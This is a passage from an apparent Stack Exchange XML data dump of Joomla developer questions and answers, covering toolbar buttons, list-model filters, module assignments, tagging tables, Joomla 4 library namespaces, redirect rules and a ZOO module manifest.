LastActivityDate="2022-10-01T17:10:13.250" Title="Backend modal toolbar button that gets activated when list item selected" Tags="|extensions|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32438" PostTypeId="1" CreationDate="2022-10-01T14:55:54.870" Score="1" ViewCount="45" Body="&lt;p&gt;When trying to get all items from my list model inside a plugin, I use this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$objects = $app-&amp;gt;bootComponent('com_foo')-&amp;gt;getMVCFactory()-&amp;gt;createModel('Objects', 'MyModel', ['ignore_request' =&amp;gt; true])-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Works fine, but if there is a filter active in the list view, the state is being also used inside the above query. How can all active backend list view filter states be ignored when using such a query?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2022-10-01T14:55:54.870" Title="Ignore active filter states when getting items from ListModel" Tags="|model|filter|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32439" PostTypeId="2" ParentId="32437" CreationDate="2022-10-01T17:10:13.250" Score="1" Body="&lt;p&gt;Use popup button:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$bar-&amp;gt;popupButton('modalButton', 'myModal')&#xA;    -&amp;gt;icon('icon-pie')&#xA;    -&amp;gt;selector('myModal')&#xA;    -&amp;gt;listCheck(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-10-01T17:10:13.250" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32440" PostTypeId="1" CreationDate="2022-10-03T08:40:51.160" Score="1" ViewCount="128" Body="&lt;p&gt;TLDR: Is there an easy way to include the same instance of a module in different posts with different settings in Joomla!?&lt;/p&gt;&#xA;&lt;p&gt;What works: URL parameters. I can call the post with a URL to which I append parameters that the module queries. But this is cumbersome. I'm looking for a simpler solution.&lt;/p&gt;&#xA;&lt;p&gt;I'm thinking of something like this: Is there a way that a module recognizes in which post it is currently displayed and examines the content of this post for a certain keyword? Then you could assign keywords to certain settings in the backend and if the module finds the keyword in the post, it takes over these settings.&lt;/p&gt;&#xA;&lt;p&gt;Detailed description: I wrote a module that accesses a calendar on another server.&#xA;In the Joomla! backend you can set which events should be displayed. In the module I access this settings with &amp;quot;$params-&amp;gt;get('xyz')&amp;quot;, e.g. &amp;quot;$params-&amp;gt;get('eventtype')&amp;quot;&#xA;It is working.&lt;/p&gt;&#xA;&lt;p&gt;But there is a problem: I can use the module in different posts, but the same events are always displayed because the same settings are always used. There is no way to use different settings for different posts. Example: One post shows all events for children, the other post shows all events for seniors, a third post shows all events with free entry, etc.&lt;/p&gt;&#xA;" OwnerUserId="16639" LastActivityDate="2022-10-11T20:18:04.483" Title="Use different module settings/parameters on different posts in Joomla!" Tags="|php|module|development|extensions|module-params|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32441" PostTypeId="2" ParentId="32440" CreationDate="2022-10-03T09:14:07.713" Score="2" Body="&lt;p&gt;Joomla's design allows you to have multiple instances of modules to allow you to undertake what you've explained you're trying to do.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Basic Implementation&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.joomla.org/How_do_you_assign_a_module_to_specific_pages%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;assignments tab in the module settings&lt;/a&gt; will let you assign modules to specific pages. So without a third party extension, this will let you choose between &lt;em&gt;On all pages&lt;/em&gt;, &lt;em&gt;No pages&lt;/em&gt;, &lt;em&gt;Only on the pages selected&lt;/em&gt;, &lt;em&gt;On all pages except those selected&lt;/em&gt; from the list.&lt;/p&gt;&#xA;&lt;p&gt;So you could then make multiple instances of your module, each with filter parameter that you need, and then each assigned to the specific pages you want to have the version with those filter parameters appear on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Advanced Implementation&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I use a 3rd party extension called &lt;a href=&quot;https://regularlabs.com/advancedmodulemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Advanced Module Manager&lt;/a&gt; which then extends the Module Assignment capabilities further, allowing all sorts of ways to assign modules.&lt;/p&gt;&#xA;&lt;p&gt;Though you could further add code to your module to look at getting URL parameters to drive your filtering, I think that multiple module instances would give you some clarity in the backend to know what it is each instance of the module is doing.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2022-10-03T09:14:07.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32442" PostTypeId="5" CreationDate="2022-10-03T10:22:26.723" Score="0" Body="&lt;p&gt;Error handling questions help users to resolve errors they are having with their sites.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="14062" LastEditDate="2022-10-03T10:24:32.647" LastActivityDate="2022-10-03T10:24:32.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32443" PostTypeId="4" CreationDate="2022-10-03T10:22:26.723" Score="0" Body="For questions on how to troubleshoot, diagnose and resolve errors" OwnerUserId="14062" LastEditorUserId="14062" LastEditDate="2022-10-03T10:24:49.657" LastActivityDate="2022-10-03T10:24:49.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32444" PostTypeId="2" ParentId="30384" CreationDate="2022-10-03T10:52:21.370" Score="2" Body="&lt;p&gt;There are a few other ways to outline for what you're asking about.&lt;/p&gt;&#xA;&lt;h3&gt;SEO Considerations&lt;/h3&gt;&#xA;&lt;p&gt;If you run Google Lighthouse on your site to measure the performance, you may find that there may be performance and best practice recommendations to delay loading of render-blocking javascript. As a result, loading your custom JS in the head may cause a performance issue, so loading it later is recommended.&lt;/p&gt;&#xA;&lt;h3&gt;Loading it in the article&lt;/h3&gt;&#xA;&lt;p&gt;As @pe7er notes, by default you can not directly add PHP code, and sometimes JS code into the article, depending on your site's editor configuration.&lt;/p&gt;&#xA;&lt;p&gt;For example, if using JCE as your editor, you can modify the editor profile to allow PHP and JS code to be included. That's not recommended though as it can create security issues, or potentially white screen errors if your syntax is wrong.&lt;/p&gt;&#xA;&lt;p&gt;There are some 3rd party extensions I use that can assist with inserting code, such as &lt;a href=&quot;https://regularlabs.com/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Sourcerer&lt;/a&gt;, where you can then use a shortcode to wrap around PHP code which is then deactivated in the editor, but will render the code in the page.&lt;/p&gt;&#xA;&lt;h3&gt;Loading it in the footer or debug position&lt;/h3&gt;&#xA;&lt;p&gt;Rather than needing to repeatedly remember to add the code in the article, the third place I would look to load the code is via a module in either a footer module position, or the debug position.&lt;/p&gt;&#xA;&lt;p&gt;The debug position would load it just before the closing body and html tags. This would delay the loading for performance purposes.&lt;/p&gt;&#xA;&lt;p&gt;I'd also look at assigning that module to either the category that you need the JS to load for (if it's common to all articles in a category), assign it to specific pages or articles, or assign it based on other rules. You might need &lt;a href=&quot;https://regularlabs.com/advancedmodulemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Advanced Module Manager&lt;/a&gt; in order to extend your options on how to assign the module to particular subsets of content.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="12352" LastEditDate="2022-10-03T19:19:30.093" LastActivityDate="2022-10-03T19:19:30.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32445" PostTypeId="5" CreationDate="2022-10-03T11:02:32.973" Score="0" Body="&lt;p&gt;Header can tag questions in a number of areas:&lt;/p&gt;&#xA;&lt;h3&gt;HTML HEAD area&lt;/h3&gt;&#xA;&lt;p&gt;Examples of content loading in the HEAD area of the site includes loading of stylesheets and javascript libraries, meta tags and 3rd party features to manage services like Google Analytics, Tag Manager and Facebook Pixel&lt;/p&gt;&#xA;&lt;h3&gt;Template header positions&lt;/h3&gt;&#xA;&lt;p&gt;Joomla Templates may often have a template position for content to appear in a position called 'header'. There's also template considerations regarding the HEAD area that may also be asked.&lt;/p&gt;&#xA;&lt;h3&gt;HTTP Headers&lt;/h3&gt;&#xA;&lt;p&gt;HTTP Headers are also an area questions may be asked about. With the introduction of CORS and HTTP Header Security plugins in Joomla 3 &amp;amp; 4, questions on how to use these tools to increase site security are also common.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="14062" LastEditDate="2022-10-03T19:13:22.947" LastActivityDate="2022-10-03T19:13:22.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32446" PostTypeId="4" CreationDate="2022-10-03T11:02:32.973" Score="0" Body="For questions on modifying Joomla's header content, including HTML HEAD area, template header positions and HTTP Headers" OwnerUserId="14062" LastEditorUserId="14062" LastEditDate="2022-10-03T19:13:33.000" LastActivityDate="2022-10-03T19:13:33.000" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32447" PostTypeId="2" ParentId="32434" CreationDate="2022-10-03T11:11:56.477" Score="3" Body="&lt;p&gt;After contacting the hosting company, they were further able to look deeper on their server logs and identified that there was a Mod Security rule that was firing which was blocking the processing of the response when there was a HTML comment in the content.&lt;/p&gt;&#xA;&lt;p&gt;They were able to then isolate the rule and resolve the issue.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="12352" LastEditDate="2022-10-03T19:21:53.057" LastActivityDate="2022-10-03T19:21:53.057" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32448" PostTypeId="1" CreationDate="2022-10-04T14:23:59.940" Score="3" ViewCount="60" Body="&lt;p&gt;I'm writing a console plug-in in Joomla 4.2.3 to add tags to content items based on field values that'll run on a cron task.&lt;/p&gt;&#xA;&lt;p&gt;I've generally got it working ok, my code adds a row to the &lt;code&gt;contentitem_tag_map&lt;/code&gt; table to add a tag to a content item.&lt;/p&gt;&#xA;&lt;p&gt;My issue is that the &lt;code&gt;contentitem_tag_map&lt;/code&gt; table has a field called &lt;code&gt;core_content_id&lt;/code&gt; which seems to relate to the &lt;code&gt;core_content_id&lt;/code&gt; in the &lt;code&gt;ucm_content&lt;/code&gt; table and about half of my content items do not have a corresponding row in the &lt;code&gt;s3ib7_ucm_content&lt;/code&gt;, in which cases I do not have anything to set that field to.&lt;/p&gt;&#xA;&lt;p&gt;What should I be doing?&lt;/p&gt;&#xA;&lt;p&gt;Every time I add a tag to an item, should I be adding a row to &lt;code&gt;ucm_content&lt;/code&gt; and &lt;code&gt;ucm_base&lt;/code&gt; tables?&lt;/p&gt;&#xA;&lt;p&gt;Should I be doing this some other way, rather than just trying to add tags via SQL queries?&lt;/p&gt;&#xA;&lt;p&gt;I have content versioning turned off in com_content and com_tags.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="5376" LastEditDate="2022-10-05T11:23:25.913" LastActivityDate="2022-10-06T07:26:39.937" Title="Unsure if all content items need a row in the ucm_base table" Tags="|tags|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32449" PostTypeId="1" CreationDate="2022-10-05T16:18:30.527" Score="1" ViewCount="36" Body="&lt;p&gt;I was wondering if anyone else is experiencing this behavior with HTMLHelper::calendar() fields and how you may be handling it in forms.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo HTMLHelper::calendar(&amp;quot;now&amp;quot;, 'calendar', 'calendar', &amp;quot;%Y-%m-%d&amp;quot;, array('weekNumbers'=&amp;gt;false, 'showTime' =&amp;gt; false, 'fillTable' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above code renders the calendar field as expected but the behavior is a bit strange. When you choose a date the data attribute for data-alt-value gets updated but the field value doesn't change to the newly selected date. This is causing the field to submit the original date instead of the selected date in the form.&lt;/p&gt;&#xA;&lt;p&gt;Also when you select a date it is adding the time in the date field even with showTime is set to false. Anyone have any thoughts on this?&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2022-10-05T16:18:30.527" Title="Calendar field operation not acting as expected" Tags="|calendar|htmlhelper|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32450" PostTypeId="2" ParentId="32448" CreationDate="2022-10-06T07:26:39.937" Score="1" Body="&lt;p&gt;You should insert records in all relevant tables. There is some code which relies on the &lt;code&gt;ucm_base&lt;/code&gt; records. Although it's not used by core, it can be used by 3rd party extensions. &lt;code&gt;ucm_content&lt;/code&gt; table is used more widely, especially in frontend. It's used by Tags component to show list of tagged items, as well as by tag modules.&lt;/p&gt;&#xA;&lt;p&gt;Generally it's a bad practice to be inserting database records manually. Best use existing APIs. Tagging is now handled by a plugin in &lt;code&gt;behaviour&lt;/code&gt; group which runs on table events. So you could use the content model or the table class to manage this.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-10-06T07:26:39.937" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32451" PostTypeId="1" AcceptedAnswerId="32514" CreationDate="2022-10-06T09:35:47.367" Score="1" ViewCount="727" Body="&lt;p&gt;I am trying to set up a set of common code, for this example traits, in \libraries\vendor\mystuff under Joomla 4 using namespace'd code and I haven't been able to find a similar looking example or current documentation. I have done similar with Joomla 3 that still works with Joomla 4 but I would like make it right for Joomla 4 and beyond.&lt;/p&gt;&#xA;&lt;p&gt;My first question is do I still need to create a plugin to load the libraries like Joomla 3 if I am using namespaces? e.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterInitialise()&#xA;{&#xA;    JLoader::registerNamespace(....);&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I vaguely recall reading something that suggests the answer is yes, however I can't see other extensions doing that so I am hoping auto-loading/namespaces is going to make that extra step redundant.&lt;/p&gt;&#xA;&lt;p&gt;This is my attempt so far, unfortunately it cant find my Trait.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Attempted to load trait &amp;quot;DatalayerTrait&amp;quot; from namespace&#xA;&amp;quot;Bricks\Datalayer&amp;quot;. Did you forget a &amp;quot;use&amp;quot; statement for another&#xA;namespace?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In the manifest file, &lt;code&gt;administrator/manifests/libraries/bricks.xml&lt;/code&gt;, I have this;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;     ...&#xA;&amp;lt;libraryname&amp;gt;bricks&amp;lt;/libraryname&amp;gt;&#xA;    ...&#xA;&amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Bricks\Datalayer&amp;lt;/namespace&amp;gt;&#xA;        &#xA;&amp;lt;files folder=&amp;quot;vendor\bricks&amp;quot;&amp;gt;&#xA;    &amp;lt;folder&amp;gt;datalayer&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;        ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In &lt;code&gt;libraries/vendor/bricks/datalayer/src/DatalayerTrait.php&lt;/code&gt; I have my Trait;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Bricks\Datalayer;&#xA;&#xA;trait DatalayerTrait&#xA;{&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my class where I want to use the Trait I have;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;use Bricks\Datalayer\DatalayerTrait;&#xA;...&#xA;class ....&#xA;{&#xA;    use DatalayerTrait;&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any pointers to relevant documentation or example(s) of how it should be done would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-10-07T07:45:24.773" LastActivityDate="2022-10-27T07:03:37.247" Title="Joomla4 - How to add own classes to \libraries\vendor" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32452" PostTypeId="1" CreationDate="2022-10-06T11:01:51.373" Score="1" ViewCount="88" Body="&lt;p&gt;My website has 4 languages (&lt;code&gt;/en&lt;/code&gt;, &lt;code&gt;/ka/&lt;/code&gt;, &lt;code&gt;am/&lt;/code&gt;, &lt;code&gt;az/&lt;/code&gt;) and we have a situation where we need to replace old menu aliases so that shared links on Facebook still work.&lt;/p&gt;&#xA;&lt;p&gt;The following battery of redirect rules works most of the time, but not always.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 paktmetri(.*) /akhali-ambebi/$1&#xA;RedirectMatch 301 faktmetr(.*) /lrahos/$1&#xA;RedirectMatch 301 fakt-metr(.*) /yeni-xeberler/$1&#xA;RedirectMatch 301 fact-checker(.*) /news/$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I come from a Facebook url it works, but if I change the language during that visit and then re-visit from Facebook it doesn't because the language is not changed automatically.&lt;/p&gt;&#xA;" OwnerUserId="9029" LastEditorUserId="12352" LastEditDate="2022-10-06T22:10:36.930" LastActivityDate="2022-10-06T22:10:36.930" Title="Joomla .htaccess redirect on multilingual site" Tags="|joomla-4.x|redirect|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32453" PostTypeId="2" ParentId="32202" CreationDate="2022-10-06T16:29:08.353" Score="1" Body="&lt;p&gt;The issue was an Joomla bug, it was resolved after updating joomla to Joomla 4.2.3. I was on joomla 4.1.x&lt;/p&gt;&#xA;" OwnerUserId="14149" LastEditorUserId="14149" LastEditDate="2022-10-21T09:39:26.643" LastActivityDate="2022-10-21T09:39:26.643" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32455" PostTypeId="1" AcceptedAnswerId="33723" CreationDate="2022-10-07T06:23:27.877" Score="0" ViewCount="92" Body="&lt;p&gt;I need to add a new field in modules form screen.&lt;/p&gt;&#xA;&lt;p&gt;I learn that using this:&lt;/p&gt;&#xA;&lt;p&gt;/administrator/index.php?option=com_fields&amp;amp;context=com_modules.module&lt;/p&gt;&#xA;&lt;p&gt;a field can be added.&lt;/p&gt;&#xA;&lt;p&gt;I was able to create de field but after saving the module the field value is not saved.&lt;/p&gt;&#xA;&lt;p&gt;What is it that I still need to do?&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2024-03-13T20:32:47.463" Title="Custom field in core modules" Tags="|custom-field|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32456" PostTypeId="1" CreationDate="2022-10-07T07:39:04.810" Score="1" ViewCount="75" Body="&lt;p&gt;I want to show the intro image of articles in Joomla 3.10 search results (com_search).&lt;/p&gt;&#xA;&lt;p&gt;In previous Joomla 3 versions, I know that you could do this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create template override:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/templa tes/template_name/html/com_search/search/default_results.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then get access to the images using this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$images = json_decode($result-&amp;gt;images);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now I see in Joomla 3.10 that &lt;code&gt;$result&lt;/code&gt; only has these values:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[relevance] =&amp;gt; &#xA;[title] =&amp;gt; &#xA;[metadesc] =&amp;gt; &#xA;[metakey] =&amp;gt; &#xA;[created] =&amp;gt; &#xA;[language] =&amp;gt; &#xA;[catid] =&amp;gt; &#xA;[text] =&amp;gt; &#xA;[section] =&amp;gt; &#xA;[slug] =&amp;gt; &#xA;[catslug] =&amp;gt; &#xA;[browsernav] =&amp;gt; &#xA;[href] =&amp;gt; &#xA;[jcfields] =&amp;gt; &#xA;[count] =&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there any way to get access to article images?&lt;/p&gt;&#xA;" OwnerUserId="10945" LastEditorUserId="12352" LastEditDate="2022-10-08T00:44:10.757" LastActivityDate="2022-10-13T19:03:04.143" Title="Show images in Joomla 3.10 search results (com_search)" Tags="|joomla-3.x|articles|images|search|com-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32457" PostTypeId="1" CreationDate="2022-10-07T09:34:02.483" Score="1" ViewCount="51" Body="&lt;p&gt;I hope the community can help me.&#xA;In this project, I would like to use Joomla's user profile view system and display the latest user posts.&lt;/p&gt;&#xA;&lt;p&gt;I thought maybe it would be doable to create a layout in mod_zooitem and implement a ZOO user's most recent post views model and then enable this module in the user's profile so that if a user wants to see another user's content, can do it.&lt;/p&gt;&#xA;&lt;p&gt;I have no idea how to apply for such a request, I hope you can help me.&lt;/p&gt;&#xA;&lt;p&gt;Idea.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;/module/mod_itemzoo/mod_itenzoo.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package   ZOO Item&#xA; * @author    YOOtheme https://yootheme.com&#xA; * @copyright Copyright (C) YOOtheme GmbH&#xA; * @license   https://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only&#xA; */&#xA;&#xA;use Joomla\CMS\Helper\ModuleHelper;&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;// load config&#xA;require_once(JPATH_ADMINISTRATOR.'/components/com_zoo/config.php');&#xA;&#xA;// get app&#xA;$zoo = App::getInstance('zoo');&#xA;&#xA;// load zoo frontend language file&#xA;$zoo-&amp;gt;system-&amp;gt;language-&amp;gt;load('com_zoo');&#xA;&#xA;// init vars&#xA;$path = dirname(__FILE__);&#xA;&#xA;//register base path&#xA;$zoo-&amp;gt;path-&amp;gt;register($path, 'mod_zooitem');&#xA;&#xA;if ($application = $zoo-&amp;gt;table-&amp;gt;application-&amp;gt;get($params-&amp;gt;get('application', 0))) {&#xA;&#xA;    $items = $zoo-&amp;gt;module-&amp;gt;getItems($params);&#xA;&#xA;    // set renderer&#xA;    $renderer = $zoo-&amp;gt;renderer-&amp;gt;create('item')-&amp;gt;addPath(array($zoo-&amp;gt;path-&amp;gt;path('component.site:'), dirname(__FILE__)));&#xA;&#xA;    $layout = $params-&amp;gt;get('layout', 'default');&#xA;&#xA;    include(ModuleHelper::getLayoutPath('mod_zooitem', $params-&amp;gt;get('theme', 'list')));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/modules/modules_zooitem/mod_zooitem.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;module&amp;quot; version=&amp;quot;3.2&amp;quot; method=&amp;quot;upgrade&amp;quot; client=&amp;quot;site&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;ZOO Item&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;YOOtheme&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;August 2022&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) YOOtheme GmbH&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;https://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only&amp;lt;/license&amp;gt;&#xA;    &amp;lt;assetsLicense&amp;gt;YOOtheme Proprietary Use License (https://yootheme.com/license)&amp;lt;/assetsLicense&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;info@yootheme.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;https://yootheme.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;4.1.20&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Item module for ZOO developed by YOOtheme (https://yootheme.com)&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename module=&amp;quot;mod_zooitem&amp;quot;&amp;gt;mod_zooitem.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;changelog.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;file.script.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;fields&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;renderer&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;scriptfile&amp;gt;file.script.php&amp;lt;/scriptfile&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot; &amp;gt;&#xA;            &amp;lt;fieldset name=&amp;quot;basic&amp;quot; addfieldpath=&amp;quot;/modules/mod_zooitem/fields&amp;quot;&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;theme&amp;quot; type=&amp;quot;filename&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Theme&amp;quot; description=&amp;quot;Visual style&amp;quot; path=&amp;quot;/tmpl/&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;layout&amp;quot; type=&amp;quot;filename&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Layout&amp;quot; description=&amp;quot;The Item Layout&amp;quot; path=&amp;quot;/renderer/item/&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;media_position&amp;quot; type=&amp;quot;list&amp;quot; default=&amp;quot;left&amp;quot; label=&amp;quot;Media Position&amp;quot; description=&amp;quot;MEDIAPOSITION_DESCRIPTION&amp;quot;&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;left&amp;quot;&amp;gt;Left&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;right&amp;quot;&amp;gt;Right&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;top&amp;quot;&amp;gt;Top&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;middle&amp;quot;&amp;gt;Middle&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;bottom&amp;quot;&amp;gt;Bottom&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;application&amp;quot; type=&amp;quot;zooapplication&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Items&amp;quot; description=&amp;quot;APPLICATION_DESCRIPTION&amp;quot; categories=&amp;quot;true&amp;quot; frontpage=&amp;quot;true&amp;quot; items=&amp;quot;true&amp;quot; types=&amp;quot;true&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;mode&amp;quot; type=&amp;quot;hidden&amp;quot; label=&amp;quot;&amp;quot; required=&amp;quot;false&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;type&amp;quot; type=&amp;quot;hidden&amp;quot; label=&amp;quot;&amp;quot; required=&amp;quot;false&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;category&amp;quot; type=&amp;quot;hidden&amp;quot; label=&amp;quot;&amp;quot; required=&amp;quot;false&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;item_id&amp;quot; type=&amp;quot;hidden&amp;quot; label=&amp;quot;&amp;quot; required=&amp;quot;false&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;subcategories&amp;quot; type=&amp;quot;radio&amp;quot; default=&amp;quot;0&amp;quot; label=&amp;quot;Include Subcategories&amp;quot; description=&amp;quot;SUBCATEGORY_DESCRIPTION&amp;quot;&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;count&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;4&amp;quot; size=&amp;quot;5&amp;quot; label=&amp;quot;Item Count&amp;quot; description=&amp;quot;Maximum number of items to display&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;order&amp;quot; type=&amp;quot;zooitemorder&amp;quot; default=&amp;quot;_itemname&amp;quot; label=&amp;quot;Item Order&amp;quot; description=&amp;quot;ITEM_ORDER&amp;quot; apps=&amp;quot;true&amp;quot; random=&amp;quot;true&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;moduleclass_sfx&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Module Class Suffix&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    